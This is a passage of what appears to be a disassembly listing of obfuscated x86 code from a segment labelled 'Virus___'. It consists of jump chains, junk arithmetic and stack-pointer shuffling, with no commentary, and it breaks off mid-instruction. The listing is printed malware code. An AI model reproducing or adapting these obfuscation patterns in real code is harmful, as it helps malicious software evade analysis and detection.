--------------------------------------------------------------------------- loc_58E6C6: ; CODE XREF: Virus___:0059014Dj pop ecx add ecx, 284E6253h add ecx, edx push ebx mov ebx, 0B6B0B6Dh jmp loc_581F63 ; --------------------------------------------------------------------------- loc_58E6DA: ; CODE XREF: Virus___:00581714j push 2B5h mov [esp], esp push ebx mov ebx, 54103976h or ebx, 29043564h inc ebx and ebx, 77337B51h jmp loc_58C7D2 ; --------------------------------------------------------------------------- loc_58E6FA: ; CODE XREF: Virus___:005859EAj mov ebp, 41783DEEh xor ebp, eax jmp loc_58FA42 ; --------------------------------------------------------------------------- loc_58E706: ; CODE XREF: Virus___:0058DF15j sub ecx, 109B075Fh pop ebp push 1B4E0288h pop ebx add ebx, 6E8854A5h sub ebx, ecx push edx mov edx, 4FBA1BD1h jmp loc_58C4A0 ; --------------------------------------------------------------------------- loc_58E726: ; CODE XREF: Virus___:0058820Fj add edi, 0FFFFFFFFh add edi, 7FE25F8Ch jmp loc_584101 ; --------------------------------------------------------------------------- loc_58E737: ; CODE XREF: Virus___:00586636j shr dl, 6 xor dl, 64h sub bh, dl jmp loc_592998 ; --------------------------------------------------------------------------- loc_58E744: ; CODE XREF: Virus___:005825F8j sub eax, 5C1F367Ch add eax, ebx push ecx push esi push 694C5B2Eh pop esi xor esi, 51DB583Bh jmp loc_588402 ; --------------------------------------------------------------------------- loc_58E75E: ; CODE XREF: Virus___:005876BAj add al, 5Ah pop edx jmp loc_589A6E ; --------------------------------------------------------------------------- loc_58E766: ; CODE XREF: Virus___:0058B897j push eax jmp loc_58DFE1 ; --------------------------------------------------------------------------- loc_58E76C: ; CODE XREF: Virus___:0058BA82j pop edi jmp loc_58CEB2 ; --------------------------------------------------------------------------- loc_58E772: ; CODE XREF: Virus___:0058FCF9j pop ecx mov edx, [esp] jmp loc_59438A ; --------------------------------------------------------------------------- loc_58E77B: ; CODE XREF: Virus___:0058D48Dj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_58CC5B ; --------------------------------------------------------------------------- loc_58E797: ; CODE XREF: Virus___:00584A76j xor [esp], esi xor esi, [esp] mov esp, [esp] add eax, 35030B7Fh push 476Eh jmp loc_582A31 ; --------------------------------------------------------------------------- loc_58E7AF: ; CODE XREF: Virus___:00585926j neg edx add edx, 4FB4C5C4h sub esi, edx jmp loc_585CA5 ; --------------------------------------------------------------------------- loc_58E7BE: ; CODE XREF: Virus___:00587C8Dj sub ecx, 77DF3EFBh add esi, 19DE0300h add esi, ecx push ebx mov ebx, 2DBD67EFh xchg ebp, ebx not ebp xchg ebp, ebx not ebx jmp loc_58E36B ; --------------------------------------------------------------------------- loc_58E7DF: ; CODE XREF: Virus___:0058B78Ej mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_58DBAB ; --------------------------------------------------------------------------- loc_58E7EF: ; CODE XREF: Virus___:00584909j xor eax, 0E351B3E2h shr eax, 1 shr eax, 4 push ebx jmp loc_587588 ; --------------------------------------------------------------------------- loc_58E7FF: ; CODE XREF: Virus___:00584932j push dword ptr [esp] pop esi add esp, 4 jmp loc_582828 ; --------------------------------------------------------------------------- loc_58E80E: ; CODE XREF: Virus___:00584CB3j mov ebx, [esp] add esp, 4 push esi jmp loc_581FE3 ; --------------------------------------------------------------------------- loc_58E81A: ; CODE XREF: Virus___:00583F21j pop edi or edx, eax pop eax add edx, 0D1B8F643h add eax, edx pop edx mov ecx, [esp] push esi mov esi, esp push 6046h jmp loc_581760 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_582282 ; --------------------------------------------------------------------------- loc_58E840: ; CODE XREF: Virus___:0058C206j pop esi jmp loc_5847EB ; --------------------------------------------------------------------------- loc_58E846: ; CODE XREF: Virus___:0058F477j pop esi pop dword ptr [esp] jmp loc_592B96 ; --------------------------------------------------------------------------- loc_58E84F: ; CODE XREF: Virus___:0058CB70j mov esp, [esp] xor ebx, eax push cx jmp loc_588DCA ; --------------------------------------------------------------------------- loc_58E85B: ; CODE XREF: Virus___:005840BFj sub ecx, 6CBA0DF5h pop esi and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 10h xor eax, ecx push 30FEh mov [esp], eax xchg ecx, [esp] not ecx jmp loc_591E70 ; --------------------------------------------------------------------------- loc_58E884: ; CODE XREF: Virus___:0058103Bj mov [esp], ebp push esi jmp loc_5902A3 ; --------------------------------------------------------------------------- loc_58E88D: ; CODE XREF: Virus___:0058478Dj add ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] add eax, 115C3950h push dword ptr [edi+eax*4] push 4298h mov [esp], ebx mov ebx, 3CFE712Dh xor [esp+4], ebx jmp loc_59208A ; --------------------------------------------------------------------------- loc_58E8B4: ; CODE XREF: Virus___:0058343Aj push ebx mov ebx, 7AD66E8Eh sub ebp, ebx jmp loc_58101A ; --------------------------------------------------------------------------- loc_58E8C1: ; CODE XREF: Virus___:0058BD2Aj or edi, esi pop esi sub edi, 3037653Eh jmp loc_582088 ; --------------------------------------------------------------------------- loc_58E8CF: ; CODE XREF: Virus___:0058744Bj pop ebp sub eax, ebx jmp loc_592F43 ; --------------------------------------------------------------------------- loc_58E8D7: ; CODE XREF: Virus___:0058F701j add eax, 1102708Ah push dword ptr [esp] push dword ptr [esp] jmp loc_580ADF ; --------------------------------------------------------------------------- loc_58E8E7: ; CODE XREF: Virus___:005891ACj pop edi jmp loc_586E5A ; --------------------------------------------------------------------------- loc_58E8ED: ; CODE XREF: Virus___:005907A4j or ecx, 4E015277h or ecx, 36D63DD9h add ecx, 69466149h jmp loc_58BDFA ; --------------------------------------------------------------------------- loc_58E904: ; CODE XREF: Virus___:0058BBC8j push edi mov edi, 0E8C5545h not edi xor edi, 7CD82FF5h push ebp mov ebp, 6AF662A8h jmp loc_589C20 ; --------------------------------------------------------------------------- loc_58E91D: ; CODE XREF: Virus___:0058B684j sub ebx, 1E024B46h add ebx, 74A362C0h jmp loc_591F7A ; --------------------------------------------------------------------------- loc_58E92E: ; CODE XREF: Virus___:0057FAE5j shl edi, 3 push ebx mov ebx, 360F5027h sub edi, ebx mov ebx, [esp] add esp, 4 sub edi, 0E9F145D9h mov edx, edi mov edi, [esp] add esp, 4 add edx, ebx mov eax, [edx] pop edx push dword ptr [esp] pop ebx add esp, 4 sub dword ptr [esp], 98B0DD0h push 57E1h mov [esp], edi mov edi, 7FE91D8Ah jmp loc_58BC50 ; --------------------------------------------------------------------------- loc_58E975: ; CODE XREF: Virus___:0058D812j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58E97A: ; CODE XREF: Virus___:00592BB8j mov bh, ch jmp loc_59219E ; --------------------------------------------------------------------------- loc_58E981: ; CODE XREF: Virus___:00581905j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_58E66B ; --------------------------------------------------------------------------- loc_58E99C: ; CODE XREF: Virus___:0058B420j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_58FE48 ; --------------------------------------------------------------------------- loc_58E9B4: ; CODE XREF: Virus___:00582C64j add ebx, 9EFE3951h xor edi, ebx pop ebx and ecx, edi pop edi jmp loc_591D3A ; --------------------------------------------------------------------------- loc_58E9C5: ; CODE XREF: Virus___:0058C2BEj dec ecx jmp loc_593444 ; --------------------------------------------------------------------------- loc_58E9CB: ; CODE XREF: Virus___:0059272Ej sub edx, 73BE3935h jmp loc_582B50 ; --------------------------------------------------------------------------- loc_58E9D6: ; CODE XREF: Virus___:0059288Fj add edx, 4 jmp loc_585E45 ; --------------------------------------------------------------------------- loc_58E9DE: ; CODE XREF: Virus___:0058C4D3j mov eax, 2 add edi, eax pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_581FBA ; --------------------------------------------------------------------------- loc_58E9F7: ; CODE XREF: Virus___:00583C68j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_58203A ; --------------------------------------------------------------------------- loc_58EA08: ; CODE XREF: Virus___:0058EEFCj push edx mov edx, esp push ecx mov ecx, 61121FC1h dec ecx neg ecx not ecx and ecx, 6C32553Dh sub ecx, 60121539h add edx, ecx pop ecx sub edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_58BAFE ; --------------------------------------------------------------------------- loc_58EA36: ; CODE XREF: Virus___:005907DFj xor [esp], edx xor edx, [esp] jmp loc_58CCAF ; --------------------------------------------------------------------------- loc_58EA41: ; CODE XREF: Virus___:0057FCB8j pop edi jmp loc_582DB4 ; --------------------------------------------------------------------------- loc_58EA47: ; CODE XREF: Virus___:00591625j pop edx xor ah, 34h push edx jmp loc_59352F ; --------------------------------------------------------------------------- loc_58EA51: ; CODE XREF: Virus___:0058D263j mov esi, [esp] jmp loc_583332 ; --------------------------------------------------------------------------- loc_58EA59: ; CODE XREF: Virus___:00583E3Aj add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_58429B ; --------------------------------------------------------------------------- loc_58EA66: ; CODE XREF: Virus___:005868F1j add ebx, edx pop edx mov edi, ebx pop ebx push esi mov esi, 32B44EFCh sub esi, 16618DBh sub edx, esi jmp loc_57F61E ; --------------------------------------------------------------------------- loc_58EA7F: ; CODE XREF: Virus___:00588322j mov esp, [esp] div ecx jmp loc_581C26 ; --------------------------------------------------------------------------- loc_58EA89: ; CODE XREF: Virus___:00582083j push ebp push esi mov esi, 4 mov ebp, esi jmp loc_588430 ; --------------------------------------------------------------------------- loc_58EA97: ; CODE XREF: Virus___:0058B695j pop dword ptr [esp] pop esp jmp loc_58ADDE ; --------------------------------------------------------------------------- loc_58EAA0: ; CODE XREF: Virus___:0058DF9Fj push 3CDE743Eh pop edi shr edi, 1 or edi, 20EF584Fh jmp loc_58291A ; --------------------------------------------------------------------------- loc_58EAB3: ; CODE XREF: Virus___:0058D155j add eax, 8D405338h or edi, eax pop eax and edi, 17145117h push ecx mov ecx, 0E29BE094h sub edi, 3F6026F0h jmp loc_592ADF ; --------------------------------------------------------------------------- loc_58EAD2: ; CODE XREF: Virus___:0058D761j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add esi, 2 xchg esi, [esp] mov esp, [esp] jmp loc_592DEF ; --------------------------------------------------------------------------- loc_58EAF7: ; CODE XREF: Virus___:00581973j push esi mov esi, 2 sub eax, esi mov esi, [esp] add esp, 4 push 47FEh jmp loc_58EFD4 ; --------------------------------------------------------------------------- loc_58EB12: ; CODE XREF: Virus___:005910E9j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 1000000h push dword ptr [esp] pop ecx add esp, 4 and eax, ecx jmp loc_58F565 ; --------------------------------------------------------------------------- loc_58EB3D: ; CODE XREF: Virus___:0058AD4Ej not ecx shr ecx, 8 not ecx xor ecx, 42F70589h and ecx, 98015B5h add ecx, 0F87FEB6Bh mov ebp, ecx pop ecx push 1BA2h mov [esp], ebp add dword ptr [esp], 7D99056Fh push dword ptr [esp] jmp loc_592301 ; --------------------------------------------------------------------------- loc_58EB70: ; CODE XREF: Virus___:005820BAj add eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 6A0Eh mov [esp], ebx push 12D3h mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_587C5E ; --------------------------------------------------------------------------- loc_58EBA2: ; CODE XREF: Virus___:005856C3j xor eax, ebp pop ebp and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 6 push 77E2h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax mov eax, esp add eax, 4 push 7DE0h mov [esp], ebx push edi jmp loc_58B9FF ; --------------------------------------------------------------------------- loc_58EBF7: ; CODE XREF: Virus___:0058157Bj add eax, 4 push ebp mov ebp, 58D77DCCh add ebp, 33E16138h sub ebp, 30363DFFh jmp loc_585328 ; --------------------------------------------------------------------------- loc_58EC13: ; CODE XREF: Virus___:00581D3Dj pop esp jmp loc_592E98 ; --------------------------------------------------------------------------- loc_58EC19: ; CODE XREF: Virus___:005914A0j mov edx, 0CE74A3BCh sub ebp, edx pop edx mov eax, ebp pop ebp add dword ptr [esp+8], 0BEA28FDh add dword ptr [esp+8], 3FC22DAh jmp loc_588F81 ; --------------------------------------------------------------------------- loc_58EC39: ; CODE XREF: Virus___:0058DF74j push 5F97h mov [esp], ecx jmp loc_583E94 ; --------------------------------------------------------------------------- loc_58EC46: ; CODE XREF: Virus___:0058DA81j sub esp, 4 mov [esp], ebx mov ebx, esp push esi mov esi, 6048710Bh inc esi jmp loc_5819DB ; --------------------------------------------------------------------------- loc_58EC5A: ; CODE XREF: Virus___:0058C6BAj push esi mov esi, 4 jmp loc_588D67 ; --------------------------------------------------------------------------- loc_58EC65: ; CODE XREF: Virus___:0058AB05j pop ebx xor edi, [esp] jmp loc_5925FF ; --------------------------------------------------------------------------- loc_58EC6E: ; CODE XREF: Virus___:0058378Dj add eax, 25A23C3Bh push ecx mov ecx, 69713886h shr ecx, 8 xor ecx, 627C5379h add eax, ecx pop ecx pop edi or [edi+1Ch], eax push dword ptr [esp] pop eax sub esp, 4 jmp loc_585BD0 ; --------------------------------------------------------------------------- loc_58EC95: ; CODE XREF: Virus___:00591A0Fj mov ebx, esp push ebp mov ebp, 6C6D4B45h sub ebp, 1 jmp loc_593A69 ; --------------------------------------------------------------------------- loc_58ECA5: ; CODE XREF: Virus___:0058C44Ej pop ebx not eax push esi jmp loc_584985 ; --------------------------------------------------------------------------- loc_58ECAE: ; CODE XREF: Virus___:0058F828j push ecx push ebx mov ebx, 0E821A53h dec ebx sub ebx, 0E145E36Fh mov ecx, ebx pop ebx and ecx, 4013F38h add ecx, 0D7DD509h sub esi, 52EE2F3Fh sub esi, ecx add esi, 52EE2F3Fh pop ecx not esi add esi, 3C7D0797h mov edx, esi mov esi, [esp] add esp, 4 add edx, 7FC0535Bh not edx inc edx sub esp, 4 mov [esp], eax mov eax, 226518Ah dec eax shr eax, 2 or eax, 194A1C80h or eax, 3CD209F1h jmp loc_588F52 ; --------------------------------------------------------------------------- loc_58ED17: ; CODE XREF: Virus___:0058AC98j push dword ptr [esp+4] pop edx jmp loc_5898A3 ; --------------------------------------------------------------------------- loc_58ED21: ; CODE XREF: Virus___:0058F554j sub edi, 408A3613h sub edi, ebp push edx mov edx, 116E0D0Dh shr edx, 1 shl edx, 6 add edx, 495E0E72h shr edx, 7 jmp loc_587F9B ; --------------------------------------------------------------------------- loc_58ED42: ; CODE XREF: Virus___:00580709j push edx mov edx, 41E547BAh shr edx, 3 dec edx jmp loc_58FD7D ; --------------------------------------------------------------------------- loc_58ED51: ; CODE XREF: Virus___:005836AAj push ecx mov ecx, 4 add ebp, 509957E9h sub ebp, ecx jmp loc_589A49 ; --------------------------------------------------------------------------- loc_58ED64: ; CODE XREF: Virus___:005915E6j add word ptr [esp], 2 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58ED6F: ; CODE XREF: Virus___:00592B91j pop esp mov dword ptr [ebx], 1 mov ebx, [esp] add esp, 4 jmp loc_58212F ; --------------------------------------------------------------------------- loc_58ED84: ; CODE XREF: Virus___:00593460j mov eax, 3C5403BEh push ecx mov ecx, 13A15E52h and eax, ecx pop ecx push ebx jmp loc_585066 ; --------------------------------------------------------------------------- loc_58ED98: ; CODE XREF: Virus___:00585763j add ebp, 0E117F9F9h add esi, ebp pop ebp add esi, 4 xchg esi, [esp] pop esp xor eax, edx xor edx, eax xor eax, edx push 4D6Dh jmp loc_581924 ; --------------------------------------------------------------------------- loc_58EDBB: ; CODE XREF: Virus___:00592F4Bj mov esi, 52C272A9h dec esi and esi, 44240C51h sub esi, 1 add esi, 0C1D100CDh jmp loc_58D492 ; --------------------------------------------------------------------------- loc_58EDD5: ; CODE XREF: Virus___:0058E68Aj mov esp, [esp] mov ax, [esp] push ebx push 0F3Ch mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 push 41F3h mov [esp], esi jmp loc_58B26F ; --------------------------------------------------------------------------- loc_58EE08: ; CODE XREF: Virus___:0058A1AEj sub edi, ecx jmp loc_5924C6 ; --------------------------------------------------------------------------- loc_58EE0F: ; CODE XREF: Virus___:00592AD3j sub ecx, 788EC175h xor eax, ecx jmp loc_58FDEC ; --------------------------------------------------------------------------- loc_58EE1C: ; CODE XREF: Virus___:00583F3Ej mov [esp], ebx mov ebx, 3164428h mov ebp, 2E421418h xor ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 1 dec ebp not ebp jmp loc_58BCFC ; --------------------------------------------------------------------------- loc_58EE42: ; CODE XREF: Virus___:0058E36Dj xor ebx, 42A4CCDEh jmp loc_5883A5 ; --------------------------------------------------------------------------- loc_58EE4D: ; CODE XREF: Virus___:00592FB2j xchg ebp, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_580BFF ; --------------------------------------------------------------------------- loc_58EE62: ; CODE XREF: Virus___:00587C80j add esp, 4 push 785Bh mov [esp], esi add dword ptr [esp], 5FA4037Eh pop edx sub edx, 5FA4037Eh pop esi jmp loc_584313 ; --------------------------------------------------------------------------- loc_58EE81: ; CODE XREF: Virus___:00582F19j mov [esp], ecx push esp pop ecx push edx mov edx, 1C087334h xor edx, 4ED445D2h or edx, 239B4945h sub edx, 47510018h shl edx, 1 jmp loc_57F5FD ; --------------------------------------------------------------------------- loc_58EEA5: ; CODE XREF: Virus___:00587CBFj or eax, 360832F4h sub eax, 0FFFFFFFFh push ecx push esi mov esi, 0C926F51h mov ecx, esi jmp loc_584EF4 ; --------------------------------------------------------------------------- loc_58EEBB: ; CODE XREF: Virus___:005919D5j pop esp add ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_58BAD1 ; --------------------------------------------------------------------------- loc_58EECF: ; CODE XREF: Virus___:0058C6DEj add ecx, 34C7549Ch sub ecx, ebx push ebp mov ebp, 34C7549Ch jmp loc_58A85F ; --------------------------------------------------------------------------- loc_58EEE2: ; CODE XREF: Virus___:00580275j mov edx, 4 add eax, edx mov edx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_58EA08 ; --------------------------------------------------------------------------- loc_58EF01: ; CODE XREF: Virus___:00592840j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_580232 ; --------------------------------------------------------------------------- loc_58EF15: ; CODE XREF: Virus___:00581118j push 7032h mov [esp], ebx jmp loc_5869BD ; --------------------------------------------------------------------------- loc_58EF22: ; CODE XREF: Virus___:0058613Cj pop eax push ebx push 6C5Eh mov [esp], esp add dword ptr [esp], 4 jmp loc_582A2B ; --------------------------------------------------------------------------- loc_58EF38: ; CODE XREF: Virus___:00583CDCj add edi, 7EFCB811h jmp loc_58545A ; --------------------------------------------------------------------------- loc_58EF43: ; CODE XREF: Virus___:0058F2E7j mov [esp], edx jmp loc_5840C4 ; --------------------------------------------------------------------------- loc_58EF4B: ; CODE XREF: Virus___:0058313Cj mov esi, 0FFFFF579h jmp loc_5881BD ; --------------------------------------------------------------------------- loc_58EF55: ; CODE XREF: Virus___:005836B6j or edi, edx jmp loc_58820E ; --------------------------------------------------------------------------- loc_58EF5C: ; CODE XREF: Virus___:00583636j push ecx push dword ptr [esp+4] pop ecx jmp loc_57FCE7 ; --------------------------------------------------------------------------- loc_58EF67: ; CODE XREF: Virus___:005842D3j push edi mov edi, esp jmp loc_58B024 ; --------------------------------------------------------------------------- loc_58EF6F: ; CODE XREF: Virus___:00584DC4j sub ecx, ebx pop ebx pop esi add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5856BE ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5889D8 ; --------------------------------------------------------------------------- loc_58EF90: ; CODE XREF: Virus___:0058F2A5j neg ebx not ebx jmp loc_57F913 ; --------------------------------------------------------------------------- loc_58EF99: ; CODE XREF: Virus___:0058FF57j sub ebx, ecx jmp loc_58FD54 ; --------------------------------------------------------------------------- loc_58EFA0: ; CODE XREF: Virus___:0058327Aj sub esp, 4 mov [esp], eax push ebx mov ebx, 22832A88h jmp loc_58965F ; --------------------------------------------------------------------------- loc_58EFB1: ; CODE XREF: Virus___:0058CDC9j sub edi, eax pop eax xor ebx, edi mov edi, [esp] add esp, 4 push 4E0Ch mov [esp], ecx mov ecx, 3312160Dh add ebx, 4FBF2063h jmp loc_58B53C ; --------------------------------------------------------------------------- loc_58EFD4: ; CODE XREF: Virus___:0058EB0Dj mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58EFF0: ; CODE XREF: Virus___:005893EAj add edi, ecx mov ecx, [esp] add esp, 4 add edi, 4 jmp loc_586033 ; --------------------------------------------------------------------------- loc_58F000: ; CODE XREF: Virus___:0057FFECj xchg edi, ecx not edi push edx mov edx, 0FFFFFFFFh sub edi, edx pop edx xchg edi, ecx jmp loc_580F99 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_586054 ; --------------------------------------------------------------------------- loc_58F01E: ; CODE XREF: Virus___:0058D9EAj sub esp, 4 push esp jmp loc_58E225 ; --------------------------------------------------------------------------- loc_58F027: ; CODE XREF: Virus___:0058880Cj mov ebp, 6BF371F2h jmp loc_58A75F ; --------------------------------------------------------------------------- loc_58F031: ; CODE XREF: Virus___:00584005j mov ebx, ecx jmp loc_58A8C2 ; --------------------------------------------------------------------------- loc_58F038: ; CODE XREF: Virus___:00581828j add ebx, edi jmp loc_5841F4 ; --------------------------------------------------------------------------- loc_58F03F: ; CODE XREF: Virus___:0059082Cj sub esp, 4 mov [esp], eax mov eax, offset byte_5C466B mov esi, eax pop eax sub esp, 4 jmp loc_58B94B ; --------------------------------------------------------------------------- loc_58F058: ; CODE XREF: Virus___:00588ACFj add ebp, 4 xchg ebp, [esp] pop esp push 1D79h mov [esp], edx jmp loc_57F3B2 ; --------------------------------------------------------------------------- loc_58F06F: ; CODE XREF: Virus___:00590EC8j push eax jmp loc_58C504 ; --------------------------------------------------------------------------- loc_58F075: ; CODE XREF: Virus___:0058F27Fj push dword ptr [esp] pop ecx push edx jmp loc_58C8BA ; --------------------------------------------------------------------------- loc_58F07F: ; CODE XREF: Virus___:0058AA4Cj push esp pop eax jmp loc_5917E7 ; --------------------------------------------------------------------------- loc_58F086: ; CODE XREF: Virus___:005854E3j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add ebp, 4 jmp loc_58CB1A ; --------------------------------------------------------------------------- loc_58F09D: ; CODE XREF: Virus___:00589BFBj neg edi sub edi, 0DA4EE324h add ebp, edi pop edi push ebx sub esp, 4 mov [esp], edi mov edi, 408517F7h sub edi, 287878ACh dec edi sub edi, 0DE88712Dh push esi jmp loc_590871 ; --------------------------------------------------------------------------- loc_58F0C7: ; CODE XREF: Virus___:005832E4j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58470B ; --------------------------------------------------------------------------- loc_58F0DB: ; CODE XREF: Virus___:0058581Aj mov ebp, esp push 6A1h mov [esp], edx push ebx push 77F5h jmp loc_58577B ; --------------------------------------------------------------------------- loc_58F0F0: ; CODE XREF: Virus___:005882B2j sub eax, edi jmp loc_592A2B ; --------------------------------------------------------------------------- loc_58F0F7: ; CODE XREF: Virus___:005814ACj sub edx, ecx jmp loc_58E357 ; --------------------------------------------------------------------------- loc_58F0FE: ; CODE XREF: Virus___:0058FAF8j sub edi, 1B8630BCh jmp loc_58D613 ; --------------------------------------------------------------------------- loc_58F109: ; CODE XREF: Virus___:0059119Ej pop ecx jmp loc_581371 ; --------------------------------------------------------------------------- loc_58F10F: ; CODE XREF: Virus___:005919EEj sub bh, 0D5h xor al, bh pop ebx jmp loc_581956 ; --------------------------------------------------------------------------- loc_58F11A: ; CODE XREF: Virus___:00589927j push ebx sub dword ptr [esp], 154F3DC0h jmp loc_583BA9 ; --------------------------------------------------------------------------- loc_58F127: ; CODE XREF: Virus___:00589822j xor cl, al pop eax add al, cl push dword ptr [esp] pop ecx jmp loc_589BC3 ; --------------------------------------------------------------------------- loc_58F135: ; CODE XREF: Virus___:0058356Fj pop edx jmp loc_588203 ; --------------------------------------------------------------------------- loc_58F13B: ; CODE XREF: Virus___:00584903j sub ecx, 77B44C77h pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push dword ptr [esp] jmp loc_5847C3 ; --------------------------------------------------------------------------- loc_58F154: ; CODE XREF: Virus___:0057FC6Cj add bl, 0DFh add bl, ah sub bl, 0DFh sub bl, 6Bh sub bl, 8Eh mov eax, [esp] add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_584296 ; --------------------------------------------------------------------------- loc_58F174: ; CODE XREF: Virus___:0058DD02j push 409Ah mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 jmp loc_5801AC ; --------------------------------------------------------------------------- loc_58F18C: ; CODE XREF: Virus___:00587CA7j push ebx mov ebx, 3EC41A19h jmp loc_57FE78 ; --------------------------------------------------------------------------- loc_58F197: ; CODE XREF: Virus___:0059114Aj add ecx, 353640E2h sub ecx, ebx sub ecx, 353640E2h pop ebx jmp loc_59344C ; --------------------------------------------------------------------------- loc_58F1AB: ; CODE XREF: Virus___:005872FCj add al, 51h pop ecx push 796Dh mov [esp], ecx push edx jmp loc_593E30 ; --------------------------------------------------------------------------- loc_58F1BC: ; CODE XREF: Virus___:0058C215j push dword ptr [esp] pop ecx add esp, 4 jmp loc_592404 ; --------------------------------------------------------------------------- loc_58F1C8: ; CODE XREF: Virus___:005858DFj push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_58B489 ; --------------------------------------------------------------------------- loc_58F1DC: ; CODE XREF: Virus___:0058F65Bj mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] jmp loc_58BDE7 ; --------------------------------------------------------------------------- loc_58F1F7: ; CODE XREF: Virus___:00584602j inc ebx push edi mov edi, 3DA36618h push eax jmp loc_58CDC4 ; --------------------------------------------------------------------------- loc_58F204: ; CODE XREF: Virus___:0058040Fj push esi jmp loc_5943A6 ; --------------------------------------------------------------------------- loc_58F20A: ; CODE XREF: Virus___:0058233Bj xor edi, [esp] jmp loc_57FB6D ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 4E48h jmp loc_58BCB5 ; --------------------------------------------------------------------------- loc_58F21F: ; CODE XREF: Virus___:00584FF8j add esi, 2B107A13h xor esi, 0DE8648FBh add edi, esi pop esi xchg edi, [esp] mov esp, [esp] sub eax, 28F86BD9h sub eax, ecx sub esp, 4 mov [esp], edx mov edx, 0A306B07h dec edx neg edx not edx add edx, 4BE00A0Dh push eax jmp loc_583F14 ; --------------------------------------------------------------------------- loc_58F257: ; CODE XREF: Virus___:00592541j pop edx add ebx, 54BB6E6Eh jmp loc_5868F6 ; --------------------------------------------------------------------------- loc_58F263: ; CODE XREF: Virus___:00588A50j dec ebp sub ebp, 0F203FA14h xor eax, ebp jmp loc_580063 ; --------------------------------------------------------------------------- loc_58F271: ; CODE XREF: Virus___:0058109Cj sub ebx, eax pop eax jmp loc_582F32 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp jmp loc_58F075 ; --------------------------------------------------------------------------- loc_58F284: ; CODE XREF: Virus___:00588FDDj push ecx mov ecx, 54440C4h mov esi, 86430ED2h add esi, ecx jmp loc_593F92 ; --------------------------------------------------------------------------- loc_58F296: ; CODE XREF: Virus___:005941B2j mov eax, [esp] add esp, 4 and ebx, 52480E0Ch jmp loc_58EF90 ; --------------------------------------------------------------------------- loc_58F2AA: ; CODE XREF: Virus___:00585498j sub eax, 3E654F3Eh add eax, edi add eax, 3E654F3Eh add eax, 281366DDh sub eax, 9B10CD4h xor edx, [eax] pop eax xor [edi+24h], edx loc_58F2C6: ; CODE XREF: Virus___:0057FA9Bj push 6F5Dh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_58235D ; --------------------------------------------------------------------------- loc_58F2D9: ; CODE XREF: Virus___:00590A46j push dword ptr [esp] pop ecx jmp loc_58D3A1 ; --------------------------------------------------------------------------- loc_58F2E2: ; CODE XREF: Virus___:0058426Cj push 26D2h jmp loc_58EF43 ; --------------------------------------------------------------------------- loc_58F2EC: ; CODE XREF: Virus___:0058DA6Ej mov esi, [esp] push ebp mov ebp, esp push esi mov esi, 60DA5EACh xor esi, 457C6FD4h push ebx mov ebx, 1AB84223h shr ebx, 4 add ebx, 23FAAD52h sub esi, ebx pop ebx add ebp, esi pop esi add ebp, 4 jmp loc_59197E ; --------------------------------------------------------------------------- loc_58F31B: ; CODE XREF: Virus___:00593E52j mov ch, 1 dec ch add ch, 68h mov dh, 42h xor dh, ch pop ecx or al, dh pop edx sub al, 0EDh shr al, 2 xor al, 44h jmp loc_58561E ; --------------------------------------------------------------------------- loc_58F336: ; CODE XREF: Virus___:00587D01j xchg edx, [esp] mov esp, [esp] jmp loc_584307 ; --------------------------------------------------------------------------- loc_58F341: ; CODE XREF: Virus___:00582925j sub ecx, 0B297ED0Ah jmp loc_586482 ; --------------------------------------------------------------------------- loc_58F34C: ; CODE XREF: Virus___:005827EDj push 25395142h jmp loc_58B2FB ; --------------------------------------------------------------------------- loc_58F356: ; CODE XREF: Virus___:00583313j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub 